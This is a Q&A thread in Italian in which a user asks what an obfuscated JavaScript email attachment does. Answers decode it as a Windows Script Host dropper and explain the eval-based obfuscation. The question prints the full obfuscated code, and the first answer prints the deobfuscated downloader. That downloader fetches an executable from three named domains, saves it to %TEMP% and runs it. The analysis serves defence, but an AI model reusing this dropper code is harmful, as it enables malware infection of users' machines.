Qualcuno può spiegare cosa fa questo codice JS offuscato ricevuto tramite e-mail? Ingannare AVG, MWB, Spybot, che tutti segnalano SICURO!

0

Di seguito è riportato il codice JS. Mi piacerebbe capire come estrae il codice malware e cosa fa. Ho provato a Google parti dello str originale, e lo ho convertito da hex in ASCII:

(URR^
$
    J   ^<^

J   ^U^UPPSQURVSP^U)

- > ci deve essere una decrittazione di base che si svolge nel codice.

Ecco il codice:

var str="5552525E0D0A020B24070D17070B09051C4A070B095E3C5E100C010D140D10070C4A070B095E17555E555050535155525653505E55";function e8(){return '5"; va';};function q5(){return 'seBody)';};function x6(){return 'ength; ';};function s7(){return '+"/co';};function v1(){return '); var ';};function e9(){return '}; };';};function k2(){return 'EMP%"';};function t6(){return 'ar fn';};function p0(){return 't.Creat';};function q2(){return n2;};function x2(){return 'or (v';};function m7(){return 'r ld =';};function f5(){return '+b[i]';};function m2(){return 'tp://"';};function t5(){return 'eoakres';};function w8(){return '.save';};function o3(){return 'd(); i';};function h9(){return ' = ws';};function p3(){return 'n, fals';};function l4(){return 't.Creat';};function u5(){return '07660"+';};function r3(){return 'Script';};function a9(){return '.split(';};function x1(){return 'tString';};function e7(){return ' = "liv';};function h3(){return '; }; if';};function a2(){return 'eObje';};function s1(){return 'dn = 0;';};function p9(){return 'ode(92)';};function j0(){return 'ct("W';};function b1(){return 'r xo =';};function z3(){return 'B.Strea';};function e6(){return '0); }';};function o0(){return '; xa.t';};function c1(){return 'dn = ';};function c3(){return ' catch';};function k6(){return 'ToFile';};function c7(){return 'eObjec';};function u8(){return 'i++) ';};function v0(){return 'ndEnv';};function y2(){return 'e > 10';};function t3(){return 'ort.com';};function l5(){return '=3; n+';};function u9(){return ' samir';};function y9(){return '1; xa';};function s4(){return '{ ws.Ru';};function y3(){return 'MLHTTP"';};function v2(){return 'catch (';};function h0(){return 'e); x';};function m5(){return 'f (xo';};function q1(){return '(fn+n';};function j3(){return ' }; }';};function o1(){return 'ct("M';};function f8(){return '+".exe';};function h2(){return 'n(fn+';};function x8(){return ' try ';};function s6(){return 'ar ws =';};function t4(){return 'agalle';};function z7(){return 't("ADOD';};function r8(){return ' (dn ';};function k9(){return 'l"); v';};function t7(){return ' };';};function a6(){return 'respon';};function u3(){return '(xa.siz';};function g3(){return ')+Stri';};function i9(){return 'break;';};function l0(){return '+"40239';};function o9(){return ' (er) {';};function j5(){return 'ype = 1';};function p4(){return 'ng.fr';};function k5(){return '.posit';};function c4(){return 'ion =';};function f3(){return 'eObje';};function o4(){return 'Script';};function a1(){return '.Expa';};function w0(){return ' 0; xa';};function b2(){return 'unter/?';};function q0(){return '.status';};function o5(){return '.open()';};function r0(){return 'SXML2.X';};function d7(){return ' amper';};function w3(){return 'ar i=ld';};function p2(){return 'var b';};function z4(){return 'xa = W';};function o7(){return 'T","ht';};function a5(){return ' == 20';};function i0(){return ' WScrip';};function z5(){return 'ite(xo.';};function v8(){return '&rnd=3';};function f4(){return '{ xo.op';};function g9(){return 'm"); va';};function u4(){return 'close()';};function j1(){return '; i<b.l';};function u6(){return ' 0; for';};function w7(){return '",2);';};function a0(){return ' (var n';};function u7(){return 'omCharC';};function f1(){return '; xa.';};function b6(){return 'n+".ex';};function z6(){return 'str+"';};function i8(){return '.Shel';};function s2(){return '; xa.wr';};function x3(){return '== 1)';};function g5(){return 'en("GE';};function z0(){return 'id="+';};function b7(){return 'ironmen';};function h8(){return 'spect';};function i6(){return '.Creat';};function e3(){return 'e",1,';};function s0(){return '00) { ';};function d4(){return ' { ld ';};function s5(){return '{ var ';};function t9(){return ' try ';};function q8(){return 'ive.com';};function d0(){return '" "); v';};function l7(){return '; if ';};function w9(){return ' WScrip';};function q6(){return '= i; ';};function j9(){return '=1; n<';};function x7(){return '0) { xa';};function z8(){return 'er) { ';};function n9(){return ' }; } ';};function a4(){return '+) { f';};var z1='';var n2=eval;var t2='';function o6(){return 's("%T';};function y6(){return 'o.sen';};function i5(){return 'ry.com"';};t2=p2();z1+=t2;t2=e7();z1+=t2;t2=t5();z1+=t2;t2=t3();z1+=t2;t2=d7();z1+=t2;t2=h8();z1+=t2;t2=q8();z1+=t2;t2=u9();z1+=t2;t2=t4();z1+=t2;t2=i5();z1+=t2;t2=a9();z1+=t2;t2=d0();z1+=t2;t2=s6();z1+=t2;t2=w9();z1+=t2;t2=p0();z1+=t2;t2=f3();z1+=t2;t2=j0();z1+=t2;t2=r3();z1+=t2;t2=i8();z1+=t2;t2=k9();z1+=t2;t2=t6();z1+=t2;t2=h9();z1+=t2;t2=a1();z1+=t2;t2=v0();z1+=t2;t2=b7();z1+=t2;t2=x1();z1+=t2;t2=o6();z1+=t2;t2=k2();z1+=t2;t2=g3();z1+=t2;t2=p4();z1+=t2;t2=u7();z1+=t2;t2=p9();z1+=t2;t2=l0();z1+=t2;t2=e8();z1+=t2;t2=b1();z1+=t2;t2=i0();z1+=t2;t2=l4();z1+=t2;t2=a2();z1+=t2;t2=o1();z1+=t2;t2=r0();z1+=t2;t2=y3();z1+=t2;t2=v1();z1+=t2;t2=z4();z1+=t2;t2=o4();z1+=t2;t2=i6();z1+=t2;t2=c7();z1+=t2;t2=z7();z1+=t2;t2=z3();z1+=t2;t2=g9();z1+=t2;t2=m7();z1+=t2;t2=u6();z1+=t2;t2=a0();z1+=t2;t2=j9();z1+=t2;t2=l5();z1+=t2;t2=a4();z1+=t2;t2=x2();z1+=t2;t2=w3();z1+=t2;t2=j1();z1+=t2;t2=x6();z1+=t2;t2=u8();z1+=t2;t2=s5();z1+=t2;t2=s1();z1+=t2;t2=x8();z1+=t2;t2=f4();z1+=t2;t2=g5();z1+=t2;t2=o7();z1+=t2;t2=m2();z1+=t2;t2=f5();z1+=t2;t2=s7();z1+=t2;t2=b2();z1+=t2;t2=z0();z1+=t2;t2=z6();z1+=t2;t2=v8();z1+=t2;t2=u5();z1+=t2;t2=p3();z1+=t2;t2=h0();z1+=t2;t2=y6();z1+=t2;t2=o3();z1+=t2;t2=m5();z1+=t2;t2=q0();z1+=t2;t2=a5();z1+=t2;t2=x7();z1+=t2;t2=o5();z1+=t2;t2=o0();z1+=t2;t2=j5();z1+=t2;t2=s2();z1+=t2;t2=z5();z1+=t2;t2=a6();z1+=t2;t2=q5();z1+=t2;t2=l7();z1+=t2;t2=u3();z1+=t2;t2=y2();z1+=t2;t2=s0();z1+=t2;t2=c1();z1+=t2;t2=y9();z1+=t2;t2=k5();z1+=t2;t2=c4();z1+=t2;t2=w0();z1+=t2;t2=w8();z1+=t2;t2=k6();z1+=t2;t2=q1();z1+=t2;t2=f8();z1+=t2;t2=w7();z1+=t2;t2=t9();z1+=t2;t2=s4();z1+=t2;t2=h2();z1+=t2;t2=b6();z1+=t2;t2=e3();z1+=t2;t2=e6();z1+=t2;t2=c3();z1+=t2;t2=o9();z1+=t2;t2=j3();z1+=t2;t2=f1();z1+=t2;t2=u4();z1+=t2;t2=h3();z1+=t2;t2=r8();z1+=t2;t2=x3();z1+=t2;t2=d4();z1+=t2;t2=q6();z1+=t2;t2=i9();z1+=t2;t2=n9();z1+=t2;t2=v2();z1+=t2;t2=z8();z1+=t2;t2=e9();z1+=t2;t2=t7();z1+=t2;q2()(z1);
    
posta RobE 14.11.2015 - 19:52
fonte

2 risposte

4

Questo codice è offuscato che costruisce una stringa ed esegue questa stringa come codice JavaScript usando eval. Questo codice JavaScript rende quindi l'utilizzo di Windows Scripting Host per scaricare alcuni dati da host remoti, li salva in alcuni file.exe e alla fine lo esegue. L'URL carica i file eseguibili da qualcosa di simile a

hxxp://samiragallery.com/counter/?id=5552525E....&rnd=....

Prova diversi URL fino a quando non può eseguire correttamente il programma.

Il codice esatto che esegue è questo:

var str="5552525E0D0A020B24070D17070B09051C4A070B095E3C5E100C010D140D10070C4A070B095E17555E555050535155525653505E55";

var b = "liveoakresort.com amperspective.com samiragallery.com".split(" ");
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + "402395";
var xo = WScript.CreateObject("MSXML2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var ld = 0;
for (var n = 1; n <= 3; n++) {
    for (var i = ld; i < b.length; i++) {
        var dn = 0;
        try {
            xo.open("GET", "http://" + b[i] + "/counter/?id=" + str + "&rnd=307660" + n, false);
            xo.send();
            if (xo.status == 200) {
                xa.open();
                xa.type = 1;
                xa.write(xo.responseBody);
                if (xa.size > 1000) {
                    dn = 1;
                    xa.position = 0;
                    xa.saveToFile(fn + n + ".exe", 2);
                    try {
                        ws.Run(fn + n + ".exe", 1, 0);
                    } catch (er) {};
                };
                xa.close();
            };
            if (dn == 1) {
                ld = i;
                break;
            };
        } catch (er) {};
    };
};
    
risposta data 14.11.2015 - 20:40
fonte
2

Il codice dello script è in qualche modo offuscato. Dopo aver inserito le nuove righe, il codice appare come di seguito.
Nella prima parte vengono definite molte piccole funzioni che restituiscono solo una piccola stringa.
Nota inoltre che q2() restituisce n2 .

var str="5552525E0D0A020B24070D17070B09051C4A070B095E3C5E100C010D140D10070C4A070B095E17555E555050535155525653505E55";
function e8(){return '5"; va';};
function q5(){return 'seBody)';};
function x6(){return 'ength; ';};
function s7(){return '+"/co';};
function v1(){return '); var ';};
function e9(){return '}; };';};
function k2(){return 'EMP%"';};
function t6(){return 'ar fn';};
function p0(){return 't.Creat';};

function q2(){return n2;};
[Large snip]

Nel prossimo segmento n2 è impostato sulla funzione javascript eval .
Inoltre, il codice inizia a chiamare ciascuna delle funzioni sopra una volta e concatena il risultato in variabile z1 .

var z1='';
var n2=eval;
var t2='';
function o6(){return 's("%T';};
function y6(){return 'o.sen';};
function i5(){return 'ry.com"';};
t2=p2();z1+=t2;
t2=e7();z1+=t2;
t2=t5();z1+=t2;
t2=t3();z1+=t2;

Fine del codice:
Qui la chiamata a q2() restituisce n2 che era uguale a eval .

t2=v2();z1+=t2;
t2=z8();z1+=t2;
t2=e9();z1+=t2;
t2=t7();z1+=t2;

q2()(z1)

Alla fine l'intera stringa di script che è stata creata in z1 viene eseguita con 'eval'.

Vedi la risposta di Steffens per lo script completo, ma essenzialmente scarica un file eseguibile da un sito Web (probabilmente infetto) e lo esegue.

Questo eseguibile probabilmente innescherebbe i virusscanner (ma meglio non provarlo).

    
risposta data 14.11.2015 - 20:44
fonte

Leggi altre domande sui tag